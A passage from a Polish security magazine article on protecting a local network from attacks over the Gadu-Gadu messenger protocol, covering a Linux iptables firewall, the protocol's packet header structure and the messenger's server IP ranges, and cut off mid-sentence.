chcieliśmy pokazać, jak łatwo jest popeł-
niać błędy, jeśli sami projektujemy proto-
kół i jak łatwo z punktu widzenia atakują-
cego jest je wykorzystywać.
Sposoby zabezpieczania się
Najczęściej spotykanym sposobem ochro-
ny naszej sieci przed atakami z Internetu
jest instalacja zapory sieciowej opartej na
systemie operacyjnym Linux. Dzięki zasto-
sowaniu filtru pakietów na tym urządze-
niu możemy określić, do jakich usług inter-
netowych nasi lokali użytkownicy będą
mieli dostęp. Firewall ten zabezpieczy rów-
nież naszą sieć lokalną przed połączeniami
nawiązywanymi z sieci Internet. Przykład
standardowej konfiguracji filtra pakietów
IPtables znajduje się na Listingu 3.
Aby móc stworzyć skuteczny system
ochrony naszej sieci lokalnej przed ata-
kami, musimy poznać podstawy proto-
kołu Gadu-Gadu (jest on dobrze opisany
na stronach Eksperymentalnego Klienta
Gadu-Gadu -- http://dev.null.pl/ekg). Każdy
pakiet składa się z dwóch części: nagłów-
ka i ciała komunikatu. 8-bajtowy nagłó-
wek informuje o rodzaju pakietu, który
jest przesyłany i długości ciała komuni-
katu. Pakiety sterujące oraz komunikaty
z wiadomościami i obrazkami są przesy-
łane przez program do serwerów komu-
nikacyjnych. Serwery te posiadają adresy
IP 217.17.41.80-217.17.41.95, 217.17.46.248-